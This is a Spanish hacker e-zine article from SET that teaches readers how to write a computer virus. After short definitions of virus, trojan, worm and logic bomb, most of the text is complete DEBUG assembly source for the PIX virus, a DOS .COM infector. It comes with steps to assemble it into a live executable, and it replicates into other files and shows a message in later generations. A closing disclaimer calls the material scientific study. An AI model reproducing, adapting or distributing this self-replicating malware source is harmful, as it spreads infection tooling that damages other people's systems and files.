SET 39 Call For Papers

¿Eres un hacker? Si deseas pasar a formar parte de la historia del hacking hispano, colabora con la próxima edición de SET 39 enviándonos un artículo. No esperes más, esta es tu oportunidad de demostrar lo que sabes. Ayúdanos a construir una revista de hackers para hackers. SET Staff

El divertido mundo de los virus

      4385

Autor: Polimorph
IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII
o 11. EL DIVERTIDO MUNDO DE LOS VIRUS                                       o
IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII
   
   
   Hola a todos, bienvenidos al divertido mundo de los virus, esos peque€os
  engendros que tan divertidos son. En estos articulos ense€are las tecnicas
  basicas para crear un virus simple, pero no por eso menos efectivo.

 IDEAS BASICAS
 ===============
   Antes de empezar a soltar el rollo voy a hacer, unas peque€as definiciones
  sobre el mundo de los virus, es mas que nada para los que no tengan idea
  de casi nada de este mundo, para los demas seguir mas abajo ;-)

  .VIRUS: Es un peque€o programa generalmente escrito en ensamblador, aunque
    los hay escritos en pascal y otros lenguajes, el cual es capaz
    replicar su codigo de forma continuada, hasta llegar a una fecha
    predeterminada o numero de encendidos del ordenar en la cual el virus
    hace su accion nociva por asi decirlo.

  .CABALLO DE TROYA (TROYANO): Es un programa legal (en apariencia) que
    lleva en su interior un codigo da€ino en cuestion, este no se autoreplica
    solo se ejecuta una vez (y ya es suficiente para que acabe con tu disco),
    uno de los mas famoso el Trojan AIDS.
 
  .GUSANO: Es un programa que se desplaza por la memoria del ordenador(RAM),
    busca zonas de memoria desocupadas en las que realiza copias repetidas
    hasta provocar un desbordamiento de memoria, se usan mayoritariamente
    en redes, uno de los mas famosos fue el de Robert Morris.

  .BOMBA LOGICA: Es un peque€o programa que permanece, oculto y ni se
    autoduplica ni se desplaza en memoria, tan solo espera a que llegue
    una fecha determinada o que alguien ejecute una orden y entonces se
    activa el proceso destructivo de la bomba al igual que el caballo de
    troya solo se ejecuta una vez.

   Bien es hora de pasar a lo que realmente interesa el principio de un
    virus. Solo se necesita saber algo de programacion, y ganas de aprender
    ya vereis que al final no es tan dificil hacer un virus simple y 
    a partir de ahi mejorarlo.

  Primero veamos como actua un virus

 1- Busca un fichero para infectar (Ej.: EXE,COM,OVL...)
 2- Lo abre y comprueba el tipo de fichero,tama€o y si esta infectado.
 3- Si esta infectado, lo cierra y busca otro
 4- Por el contrario sino lo infecta.
 5- Le devuelve el control al programa infectandose y continua la ejecucion
     normal.

 Llego la hora del ejemplo. Es un virus llamado PIX, quiza no es muy famoso
  y mucho menos una maravilla de virus, pero sirve de ejemplo.

           ­­­ CUIDADO !!! si  lo haceis COM con el DEBUG,
         el virus estara activo, asi que si lo ejecutais ya os
         imaginais lo que pasara ;-)))
        

NPIX.COM
A
JMP 0116
DB  90,49,56,00,2A,2E,43,4F,4D,00,4F,04,00,00,01,00,00,00,00,00
MOV AX,CS
ADD AX,1000
MOV ES,AX
INC BYTE PTR [0105] ; Incrementa el contador de generaciones.
MOV SI,0100
XOR DI,DI
MOV CX,014F
REPZ
MOVSB
MOV DX,025F
MOV AH,1A
INT 21              ;Se encarga de crear el DTA para los ficheros...
MOV DX,0106         ;con extension.COM
MOV CX,0018
MOV AH,4E
INT 21
JB 019E
MOV DX,027D
MOV AX,3D02         ;Abre el fichero en modo lectura/escritura.
INT 21
MOV [0114],AX
MOV BX,AX
PUSH ES
POP DS
MOV DX,034F
MOV CX,FFFF
MOV AH,3F
INT 21
ADD AX,034F
CS:
MOV [0112],AX       ;A continuacion, la firma del virus:
dB 3E,81,3E
DB 52,03
DB 49,56
JZ 0188
XOR CX,CX
MOV DX,CX
CS:
MOV BX,[0114]
MOV AX,4200
INT 21              ;Desplaza el puntero.
JB 0188
MOV DX,0000
CS:
MOV CX,[0112]
CS:
MOV BX,[0114]
MOV AH,40
INT 21              ;Salva virus y programa contaminado.
CS:
MOV BX,[0112]
MOV AH,3E
INT 21              ;Cierra el fichero.
PUSH CS
POP DS
MOV AH,4F
MOV DX,025F
INT 21
JB 019E
JMP 013E
MOV DX,0080
MOV AH,1A
INT 21              ;Restaura el DTA original.
CMP BYTE PTR [0105],05 ; šQuinta generacion?...
JB 0207                ; Si es asi, comienza el espectaculo.
MOV AX,0040
MOV DS,AX
MOV AX,[006C]       ; Aleatoriedad de manifestacion del virus...
PUSH CS             ; mediante el registro de decimas de segundo.
POPDS
AND AX,0001
JZ 0207
MOV DX,01C4
MOV AH,09
INT 21
INT 20              ; A continuacion, el mensaje del virus.
DB 59,4F,55,52,20,50,43,20,48,41,56,45,20,41,20,4D,45,53,53,41,4A,52
DB 20,46,4F,52,20,59,4F,55,20,3A,20,4A,4F,44,45,54,45,20,59,20,45,53
DB 50,45,52,41,20,43,41,4D,49,4C,4F,20,4A,4F,53,45,20,43,45,4C,41,2E
DB 24
MOV SI,0224
MOV CX,002B
XOR DI,DI
REPZ
MOVSB
XOR DI,DI
CS:
MOV WORD PTR [010E],0000
CS:
MOV [0110],ES
CS:
JMP FAR [010E]
PUSH DS
POP ES
MOV SI,044F
CMP BYTE PTR [0105],01
JNZ 0234
SUB SI,0200
MOV DI,0100
MOV CX,FFFF
SUB CX,SI
REPZ
MOVSB
CS:
MOV WORD PTR [0100],0100
CS:
MOV [0102],DS
CS:
JMP FAR [0100]      ; Salto a la ejecucion del verdadero programa...
INT 20              ; siempre que se trate de una generacion...
INT 20              ; posterior a la primera, y por tanto, exista.
DB 0,0

R CX
154
W
Q

  * Todo lo explicado es puramente para interes cientifico o estudio, el
   autor del articulo no se hace responsable del mal uso de lo aqui expuesto
   ni de los da€os que estos puedan causar.

  NOTA: Aun no soy ningun experto, en la tecnica de los virus, solo
    intento aportar una ayuda para los que como yo una vez, empiezan ahora
    en este mundo de los virus, la informacion aqui expuesta esta sacada
    de investigaciones propias y de largas horas de busqueda de informacion
    en otras revistas y textos de qualquier tipo hallados en INTERNET.
    A todos ellos GRACIAS. O:-)

                                                POLIMORPH